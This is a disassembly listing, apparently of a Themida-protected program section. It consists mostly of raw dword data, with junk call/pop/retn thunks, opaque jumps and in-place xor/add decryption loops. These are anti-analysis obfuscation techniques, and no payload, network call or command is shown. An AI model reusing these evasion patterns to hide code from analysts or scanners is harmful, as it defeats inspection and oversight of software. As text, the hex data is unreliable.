dd 0BCE42AC3h, 7D058B46h, 9D8B09C5h, 6103115h, 0CE8h, 39920900h
dd 3BC80AE2h, 548529F5h, 6A5FF9E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66463877h
dd 6ADA8Bh, 0A0DF8166h, 1995FF45h, 6606101Dh
dd 0D16CD381h, 0AFD88D8Dh, 6A0613h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 724824C3h
dd 0BC92CA2Eh, 0D1FF04F4h, 10E8h, 4477D000h, 76A614B5h
dd 9DB26053h, 0ECD77548h, 0BD8B5B34h, 6102255h, 2209BD83h
dd 0F010610h, 8385h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 969294DFh, 0DF8B6612h
dd 9D8B026Ah, 61001FDh, 24048950h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 1FC35646h, 5AABCA31h, 0BC4C05B8h
dd 95C7806Eh, 49595FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 1DF288C3h, 2C3F0237h
dd 0FA8B55AAh, 0D13E9h, 0E800h, 815D0000h, 1442C7EDh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0F88A35FCh, 8DD88B66h, 1399B685h, 13E806h, 0D40C0000h
dd 0DE54D4A0h, 5DFA7D98h, 0DDFC58A8h, 44656D9Bh, 7BF38123h
dd 5B20E460h, 50D88B90h, 0DC1ABB66h, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 33359783h
dd 45E78166h, 35FF647Bh, 0
dd 12E8h, 266B2500h, 9A4D026Dh, 0F1267722h, 0EA01D065h
dd 6683BCCFh, 0BDEAE781h, 2589645Fh, 0
; ---------------------------------------------------------------------------
sub [ebp+6100081h], ecx
inc dword ptr [ebp+6101419h]
push 0
push ebx
call sub_58F7EF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F7EF proc near ; CODE XREF: Themida_:0058F7E7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_58F7EF endp
; ---------------------------------------------------------------------------
sub ah, [ebx]
cmc
mov [ebp+6101929h], esi
loc_58F808: ; CODE XREF: Themida_:loc_590413j
push 0FFFFFFFFh
push 0
push eax
call sub_58F815
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F815 proc near ; CODE XREF: Themida_:0058F80Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_58F815 endp
; ---------------------------------------------------------------------------
db 7Fh, 0C0h, 85h
dd 92BED3F5h, 11E808h, 0EA5D0000h, 0F1680D93h, 5F0ED217h
dd 4F4CFE4Ch, 0BF2F9850h, 1475454Fh, 21B5FF5Fh, 8B061028h
dd 10001D9Dh, 1595FF06h, 0E9061006h, 132h, 22A5BD89h, 0B00610h
dd 51BD89h, 70E60610h, 8133BF66h, 8E971E4h, 0D2000000h
dd 53080C02h, 3CFA1032h, 7830F61h, 89000001h, 1029F59Dh
dd 0C8B60F06h, 9E349ABFh, 6BA73h, 0E9600000h, 10h, 8C0CC17h
dd 41517807h, 7E70D902h, 760A78BAh, 0C18B61F5h, 10E9h
dd 71F63600h, 2531C0EBh, 1FD00377h, 171AE926h, 4E8C135h
dd 6BD38166h, 0E2F766E0h, 4A10BB66h, 11E9C82Bh, 3A000000h
dd 9425FC00h, 0E5A94220h, 41C7EAC9h, 0D20EEF58h, 9589D18Bh
dd 610124Dh, 9E9h, 9D9D2B00h, 0F061009h, 858BFAB7h, 61016B5h
dd 35BD8B60h, 61061011h, 29C58509h, 0C0830610h, 83FE8B07h
dd 5E900C0h, 9E000000h, 632BB765h, 830FD03Bh, 25h, 8D33DF81h
dd 4FE96D19h, 0E8000000h, 0Fh, 3C38EDBDh, 9E51DF6Bh, 0D7F7AD4h
dd 60635A1Ch, 61C68B66h, 7D8D8B5Bh, 0BF061029h, 3487F8Bh
dd 0F01E183h, 2184h, 0E7816600h, 0A583D566h, 610297Dh
dd 0AFBF66FEh, 0B59589F9h, 89061016h, 1023518Dh, 0E906h
dd 0B58D0000h, 613DA9Bh, 6A5BF552h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 4D6156E8h
dd 0FFFB8B66h, 1031C995h, 22D38106h, 2965C71Eh, 1001B185h
dd 7B3B906h, 0B5310000h, 61006F5h, 0FFCE183h, 680h, 8DBD8B00h
dd 0FC06100Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 39C35242h, 5B83F19Ch, 9529DEF2h, 6100AA5h, 8B66C02Bh
dd 0BADEh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 7635C0C3h, 50FD9420h, 0FFBF6646h
dd 0C233AD0Fh, 0D003E8D1h, 7504E983h, 0E8BA60F4h, 0F04ADD8h
dd 1580h, 10E900h, 0B3480000h, 4FA8AD7h, 427A99F7h, 0DEC4500Bh
dd 6A618FC8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 83C4C351h, 7A625EFCh, 7E926FDh
dd 86000000h, 0DD4E9BA8h, 880DE5E5h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 819AC350h, 0D0ED4F7h, 0F5958B2Ch, 0E9061009h, 14h, 39EF1924h
dd 1770A865h, 4C8C3C4Bh, 0D9593F95h, 8FEB96DDh, 23198D8Bh
dd 81660610h, 50BBDBCBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 5774965Ch, 6A9F87h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1D3C4AC3h
dd 77B72B11h, 1E29BD83h, 0F000610h, 8084h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0CFE5FF8Bh, 2B006F01h, 10348D9Dh, 0B806h, 8D8D0000h
dd 6104E85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0DAC35343h, 9DBD8B5Fh, 0FF06101Ch, 51006AE1h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0F72AFF0Ah, 17B017EFh, 0BF0FA48Bh, 0C1BD83FFh, 61022h
dd 34D840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 999E7CC3h, 5D9531h, 0BD830610h
dd 61022C1h, 37840F01h, 66000003h, 0F836DB81h, 22C1BD83h
dd 0F030610h, 2EF86h, 1D853100h, 8B061002h, 101FEDBDh
dd 9E96006h, 72000000h, 41AAE072h, 0FD82C725h, 6AD98C66h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 50D5C351h, 6010F82Eh, 1D2CE49h, 102AB98Dh
dd 4E18006h, 0AFBBF0Fh, 0BB840FC9h, 0BF000000h, 74DDF43Eh
dd 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 8831CDC3h, 0D3811A91h, 6C0500D1h
dd 11FD8533h, 0BD8B0610h, 6101CB1h, 295DBD8Bh, 66500610h
dd 89EC46BFh, 85292404h, 6102161h, 0FA8B006Ah, 0D3BC0268h
dd 6E8EDh, 0F8790000h, 897E0B5h, 815B5B50h, 47FD2404h
dd 8A0F124Bh, 0
; ---------------------------------------------------------------------------
call dword ptr [ebp+61005D5h]
cld
mov [ebp+613C26Dh], eax
mov edi, edx
jmp loc_58FED3
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_58FD0F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FD0F proc near ; CODE XREF: Themida_:0058FD07p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_58FD0F endp
; ---------------------------------------------------------------------------
db 68h
; ---------------------------------------------------------------------------
dec ecx
inc esi
mov esi, 73687FAFh
call near ptr loc_58FD32+1
or ch, [eax+5CD6DC4Fh]
loc_58FD32: ; CODE XREF: Themida_:0058FD27p
cmp eax, 8B5BF98Bh
test [ebp-3Eh], esp
adc eax, [esi]
push 0
push ebx
call sub_58FD47
loc_58FD44: ; CODE XREF: Themida_:0058FD5Cj
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FD47 proc near ; CODE XREF: Themida_:0058FD3Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_58FD47 endp
; ---------------------------------------------------------------------------
mov eax, 0BF795E35h
jmp short loc_58FD44
; ---------------------------------------------------------------------------
cmp ah, [edx]
or bx, 722Dh
mov dword ptr [eax], 18h
push 0
push esi
call sub_58FD76
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FD76 proc near ; CODE XREF: Themida_:0058FD6Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_58FD76 endp
; ---------------------------------------------------------------------------
wait
jmp loc_58FD96
; ---------------------------------------------------------------------------
dd 0E103567Ah, 10520782h
db 0DAh, 0AEh
; ---------------------------------------------------------------------------
loc_58FD96: ; CODE XREF: Themida_:0058FD87j
mov esi, [ebp+613C269h]
mov [ebp+61011E5h], edi
mov eax, [ebp+6100E25h]
jmp loc_58FDBF
; ---------------------------------------------------------------------------
db 83h, 37h, 18h
dd 315FB7Ah, 0CF39A92Eh, 0DA85EF15h
db 81h, 1Eh, 0F6h
; ---------------------------------------------------------------------------
loc_58FDBF: ; CODE XREF: Themida_:0058FDA8j
mov [esi], eax
push 0
push edi
call sub_58FDCC
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FDCC proc near ; CODE XREF: Themida_:0058FDC4p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_58FDCC endp
; ---------------------------------------------------------------------------
dd 858BB095h, 6102185h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0CAC35343h, 89BB3F27h, 1021E585h, 4468906h
dd 50F98B66h, 34895B53h, 0C810F24h, 0F000000h, 687h, 0A59D8B00h
dd 0FF061030h, 13C265B5h, 8D89F806h, 6103299h, 4E8h, 1F03FF00h
dd 0E9606000h, 7, 0B2E211C2h, 0E81B9D17h, 0Dh, 0DEEB9D7h
dd 19532515h, 95177A3Ch, 0B0615E48h, 0B350619Eh, 24448BD2h
dd 0F88B6604h, 850F008Bh, 15h, 10E9h, 0B6C93900h, 4B4A6FEBh
dd 3B4BF441h, 400760AEh, 244489EBh, 5819B704h, 15ED9D09h
dd 858D0610h, 613C26Dh, 139D9589h, 0E8500610h, 0Bh, 0C4F5FCB0h
dd 29C8A86Dh, 0E922F4F2h, 8, 3E3B3BA6h, 97867B7Bh, 2404895Fh
dd 0FFFBB70Fh, 1005D595h, 459D8B06h
; ---------------------------------------------------------------------------
sub [eax], dl
push es
loc_58FED3: ; CODE XREF: Themida_:0058FCFFj
popa
mov ebx, 52E34A68h
mov dword ptr [ebp+61022C1h], 3
sub ebx, [ebp+610063Dh]
mov ebx, [ebp+6100975h]
cmp dword ptr [ebp+613C26Dh], 0
jz loc_58FF14
mov ebx, [ebp+6102E09h]
jmp loc_58FF2F
; ---------------------------------------------------------------------------
jmp loc_58FF12
; ---------------------------------------------------------------------------
dd 0AD5F7540h
db 7Ah, 3Eh
; ---------------------------------------------------------------------------
loc_58FF12: ; CODE XREF: Themida_:0058FF07j
mov bl, dl
loc_58FF14: ; CODE XREF: Themida_:0058FEF6j
; Themida_:0058FF2Bj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_58FF14
jmp short loc_58FF65
; ---------------------------------------------------------------------------
loc_58FF2F: ; CODE XREF: Themida_:0058FF02j
; Themida_:0058FF46j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_58FF2F
jmp short loc_58FF65
; ---------------------------------------------------------------------------
loc_58FF4A: ; CODE XREF: Themida_:0058FF61j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_58FF4A
jmp short $+2
loc_58FF65: ; CODE XREF: Themida_:0058FF2Dj
; Themida_:0058FF48j
mov eax, eax
push 0
push ebp
call sub_58FF72
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FF72 proc near ; CODE XREF: Themida_:0058FF6Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_58FF72 endp
; ---------------------------------------------------------------------------
dw 8BF3h
; ---------------------------------------------------------------------------
popf
lds ecx, [ecx]
adc [esi], al
cmp dword ptr [ebp+61022C1h], 3
jnz loc_590413
cmp dword ptr [ebp+613C26Dh], 0
jz loc_590413
push 0
push esi
call sub_58FFAE
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FFAE proc near ; CODE XREF: Themida_:0058FFA6p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_58FFAE endp
; ---------------------------------------------------------------------------
cli
clc
push dword ptr [ebp+613C26Dh]
jmp loc_58FFD7
; ---------------------------------------------------------------------------
inc ecx
sub dl, bh
pop edx
sar ebp, 1
retf
; ---------------------------------------------------------------------------
dw 8B3h
db 80h, 8Dh, 0B8h
; ---------------------------------------------------------------------------
loc_58FFD7: ; CODE XREF: Themida_:0058FFC6j
call dword ptr [ebp+6102FA5h]
push 0
push ebp
call sub_58FFE8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FFE8 proc near ; CODE XREF: Themida_:0058FFE0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_58FFE8 endp
; ---------------------------------------------------------------------------
mov cl, 0EBh
adc byte ptr [esi-41h], 0FEh
pop edx
pushf
xor [ebx+13C261B5h], ecx
push es
jmp loc_59001E
; ---------------------------------------------------------------------------
dd 29D88298h, 0CFEECB62h, 0FA5806F0h, 0F42B6AEAh
db 25h, 1Ch
; ---------------------------------------------------------------------------
loc_59001E: ; CODE XREF: Themida_:00590007j
mov dword ptr [esi], 10001h
mov [ebp+6101145h], ecx
push eax
mov [esp], esi
push 0
push ebp
call sub_590039
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590039 proc near ; CODE XREF: Themida_:00590031p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_590039 endp
; ---------------------------------------------------------------------------
adc byte ptr [esi-77h], 8Dh
mov [ebp+610124Dh], eax
push dword ptr [ebp+613C26Dh]
or [ebp+610049Dh], edi
mov edi, [ebp+6101D1Dh]
call dword ptr [ebp+6101225h]
push 0
push edx
call sub_590076
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590076 proc near ; CODE XREF: Themida_:0059006Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_590076 endp
; ---------------------------------------------------------------------------
jnb short loc_5900C1
mov di, 7414h
mov esi, [ebp+613C261h]
push 0
push edi
call sub_59009D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59009D proc near ; CODE XREF: Themida_:00590095p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_59009D endp
; ---------------------------------------------------------------------------
db 4Ah, 7Dh, 0A4h
db 26h, 90h
; ---------------------------------------------------------------------------
xor [ebx+1021D185h], ecx
push es
pusha
pusha
jmp loc_5900C7
; ---------------------------------------------------------------------------
cwde
loc_5900C1: ; CODE XREF: Themida_:00590086j
popa
mov edi, 8DC2E6C3h
loc_5900C7: ; CODE XREF: Themida_:005900BBj
mov edi, 6E346125h
popa
jnb loc_5900DE
jmp loc_5900DE
; ---------------------------------------------------------------------------
dd 6F2B636Dh
db 0Ah, 53h
; ---------------------------------------------------------------------------
loc_5900DE: ; CODE XREF: Themida_:005900CDj
; Themida_:005900D3j
popa
mov [esi+0C4h], eax
push 0
push edx
call sub_5900F0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5900F0 proc near ; CODE XREF: Themida_:005900E8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5900F0 endp
; ---------------------------------------------------------------------------
dd 0E6DAD80Dh, 0C4FE940Bh, 0EE809FCh, 91000000h, 0DB7BDEC9h
dd 4FC81E3Bh, 97AD6AFCh, 1A890FAFh, 0E8000000h, 14h, 0F0C331B6h
dd 8988D96Ah, 82CE791Fh, 86DFAAFEh, 0F33A5103h, 958B5F5Bh
dd 61009F5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 0C7C35646h, 5BF88B52h, 8B04C283h, 1006D99Dh, 20508906h
dd 165F61BFh, 0C2858D27h, 6A0613D7h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B40AC356h
dd 0ACD66C83h, 0BE8C2h, 73B20000h, 0AA63F6E8h, 9700DB42h
dd 5F616028h, 0B88689h, 0B5290000h, 61011F1h, 5E960h, 0D2A50000h
dd 297C4DA4h, 100A498Dh, 6A6106h, 0F599D8Bh, 0B5FF0610h
dd 613C26Dh, 0E11BD8Bh, 95FF0610h, 6100495h, 1BDEC381h
dd 0F96054Bh, 0A8Ch, 62B26000h, 8C0Fh, 50610000h, 96FE8B66h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 27C35545h
dd 0BD8B2BC5h, 6101C1Dh, 11E9h, 612B0D00h, 80E62188h, 9C518D3Bh
dd 0C6D74FA9h, 0B5FF3053h, 613C26Dh, 0DE8h, 5D5A3E00h
dd 3330B548h, 5C448089h, 13E92B8Bh, 0D3000000h, 226BC139h
dd 0D4D8679Eh, 0E2E03A0Ch, 0ED8EF2ABh, 0FF5FDA8Bh, 10162D95h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 0BA9D0498h, 0E8FD9CE5h, 83F50AD0h, 101351BDh
dd 840F0006h, 26h, 78DB8166h, 0BB669695h, 0E950E06Ah, 0Fh
dd 0AD8DDFF7h, 0B35BE270h, 0CC813898h, 9641320Ah, 89DBD09h
dd 0B5FF0610h, 613C26Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 6CC35747h, 610B39ADh, 0BB8444E8h, 51D9509h
dd 9D8B0610h, 61019D5h, 0C1995FFh, 6A0610h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0D935C5C3h
dd 28C85101h, 8052604Bh, 6659A6D7h, 0FF61CE8Bh, 13C26DB5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 9C066C93h, 6860Fh, 0E7810000h, 21C3F1ECh
dd 162195FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 0EDDDC6C3h, 89BD8358h, 206100Fh
dd 63840Fh, 0C3BB0000h, 8B3EE757h, 1010C585h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 2D9D0349h, 0C6061006h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 10E9CCC3h, 0DC000000h
dd 46AF8FE2h, 6AB16C34h, 4E294C00h, 8B1E0E83h, 2585C7D9h
dd 6102Ah, 0F000000h, 68Ah, 55B50100h
; ---------------------------------------------------------------------------
das
adc [esi], al
loc_590413: ; CODE XREF: Themida_:0058FF90j
; Themida_:0058FF9Dj
jmp loc_58F808
; ---------------------------------------------------------------------------
push 0
push esi
call sub_590423
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590423 proc near ; CODE XREF: Themida_:0059041Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_590423 endp
; ---------------------------------------------------------------------------
db 19h
dd 0F6BFC18Bh, 0BF2ABDA2h, 2A8F25BFh
dword_590440 dd 13B9858Dh, 9D890610h, 6101F1Dh, 0F78B6090h, 0CE8h, 10E50600h
; DATA XREF: Themida_:0054CD80o
dd 410055F7h, 9E97C623h, 8A0FC2h, 5E000000h, 6A905061h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0EF81C355h, 820FCCF1h, 9, 3850Fh, 0DF800000h
dd 66006A34h, 0EA4CDF81h, 8166006Ah, 8DC990EFh, 14516D85h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 5C08379h, 689BD31h, 8A900610h, 9BB750DEh
dd 21DB8090h, 6AF8006Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 81A33CB0h, 519D8B05h
dd 66061005h, 0FF32CCBFh, 101D1995h, 8D8DF806h, 613AFD8h
dd 77DFBB66h, 8F0FD1FFh, 4, 0B709BB66h, 2209BD83h, 0F010610h
dd 0A385h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0B5EF81E1h, 11F32F6h, 1000D985h
dd 0DF8B6606h, 0BD8B026Ah, 6100891h, 7599501h, 60900610h
dd 5E8h, 2F85F200h, 8B6666AFh, 5E859C2h, 9B000000h, 3BD7AAE6h
dd 615A6160h, 0EE950h, 42CC0000h, 8DF2989Dh, 91D2A022h
dd 0E860E99Ch, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 433AC106h, 425CCB81h
dd 0D7817A0Eh, 5EBB0993h, 49595FFh, 9D890610h, 6102129h
dd 0D91E9h, 0E800h, 815D0000h, 145177EDh, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0BE0997Dh, 72F59ABEh, 9D8B0239h, 6100DF1h, 6E9h, 5FB06F00h
dd 23BAB73Eh, 1004FDBDh, 0B6858D06h, 6A061399h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0F09AC350h, 1F72EBFBh, 25558AA8h, 999D2B60h, 66061000h
dd 0CD29CB81h, 8B0F5361h, 5, 8DEF8166h, 66905FF0h, 0F50FA8Bh
dd 158Dh, 0DE800h, 0A8430000h, 0D7D903CEh, 0C4ED71A0h
dd 8B906C25h, 6A905FFAh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 39EDC352h, 49BD8BCBh
dd 0F061007h, 583h, 40BABB00h, 0FF641EE3h, 35h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 4F27DAFBh, 95010905h, 61005B1h, 0F7DF8166h, 258964FAh
dd 0
dd 28A0Fh, 0F98B0000h, 141985FFh, 66500610h, 6A5BDE8Bh
dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 21D11621h, 0E932374Dh, 10h, 0F6AA4FC6h
dd 0EEEC51BDh, 7B2BAFAAh, 0D7CB71D6h, 0A65BD01h, 0B5FF0610h
dd 61030C5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0E6C35141h, 61595FFh, 30E90610h, 8B000001h, 100D599Dh
dd 0F00B006h, 70E6FEBFh, 0B74262BFh, 2971E469h, 10144D9Dh
dd 7E906h, 8EFD0000h, 7841E7E6h, 0F613C7Bh, 10283h, 0E1B50900h
dd 0F061023h, 0D781C8B6h, 573055FAh, 6BAh, 5BD8B00h, 0F061002h
dd 0C18BDBB7h, 2FC19D0Bh, 8B600610h, 10213985h, 0FB8B6606h
dd 4E8C161h, 0FE9h, 0E0A83500h, 522E0A40h, 0E1970F71h
dd 5BB36C0Eh, 23E2F766h, 102E45BDh, 66C82B06h, 8B4169BFh
dd 0B5BD89D1h, 0E906102Eh, 2, 858BD98Bh, 61020A1h, 11E9h
dd 6515CD00h, 28A058FCh, 2E7163D3h, 8C67024Fh, 0C083D909h
dd 0C3816607h, 8060CB0Ch, 0B70F14DEh, 0C08361F1h, 0FD03B00h
dd 1583h, 6062B300h, 0B299D03h, 0E9610610h, 57h, 2369BD8Bh
dd 8D8B0610h, 6102381h, 40CCC381h, 0E1833ED1h, 3C840F01h
dd 0E8000000h, 13h, 0C9F1C2A2h, 0EB59D17Eh, 6CEF46A8h
dd 2A1658A2h, 31B17468h, 1032C1BDh, 0A5835B06h, 6102381h
dd 219D8BFEh, 89061012h, 1020A195h, 0EB816606h, 0E901FAh
dd 8D000000h, 13E426B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 8FA095BFh, 0ED6E177Dh
dd 0F381006Ah, 741E75AAh, 31C995FFh, 6A0610h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 1B24A1C3h
dd 8951BBC4h, 100EFD9Dh, 0D4B95F06h, 6000000Dh, 11358D8Bh
dd 0BF0F0610h, 0E18361D3h, 51006AFCh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 5260B670h
dd 1EF99D33h, 8B5F0610h, 8BFC61DEh, 100B759Dh, 8BC02B06h
dd 102949BDh, 8BD22B06h, 0C233ADDFh, 0D003E8D1h, 7504E983h
dd 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 6E0CE8F9h, 8B6652D4h, 9D095FF9h, 61023D9h
dd 5E9h, 94F67300h, 0BD8BBFFBh, 6103289h, 880Dh, 9E900h
dd 79A30000h, 799DBD0Ah, 8B035A3Ch, 1009F595h, 0FE8B6606h
dd 23198D8Bh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0DEEC21C3h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 6A1EC3h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 249282C3h
dd 0E0366DD2h, 0BD837AB3h, 6101E29h, 0AF840F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0F939C351h, 8E9h, 23FAC300h, 4995EE71h, 0B8E9h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0A0A8F5C3h, 0BD890458h, 6100169h, 2059BD09h
dd 8D8D0610h, 6104E85h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0ABC35545h, 0BD293ABEh, 61027C1h, 2AF1BD8Bh
dd 0E1FF0610h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 19C35040h, 1DC1BD8Bh, 0BD830610h, 61022C1h, 1D840F00h
dd 60000004h, 912D37BAh, 71858966h, 61061013h, 22C1BD83h
dd 0F010610h, 41E84h, 0D7C78100h, 835D7FB3h, 1022C1BDh
dd 860F0306h, 3D5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0F4C35646h, 1840Fh, 0E9F80000h, 7, 4E564F22h
dd 60D593F2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 83C35747h, 0AE5A08Bh, 598D8951h, 6606100Fh, 6AD98Ch
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0F44518C3h, 3B23E42Fh, 0E1805786h, 0FC90A04h, 12F84h
dd 6830F00h, 1000000h, 1014A99Dh, 85858B06h, 50061021h
dd 11F98589h, 335F0610h, 1011FD85h, 0ADBD8B06h, 90061030h
dd 11E950h, 0BF950000h, 81B0D197h, 0CC169214h, 5F1D4AB1h
dd 90A7CA85h, 397B4BBFh, 89006A35h, 100A41BDh, 0C6096806h
dd 52502ABBh, 6E9h, 0A3D78200h, 0FAD8EB2h, 0D557BF31h
dd 585A4108h, 0F6243481h, 6A2AA4C5h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 517EC350h
dd 0B88FB2Fh, 860F73A6h, 13h, 0CE951h, 99100000h, 0A91CAABDh
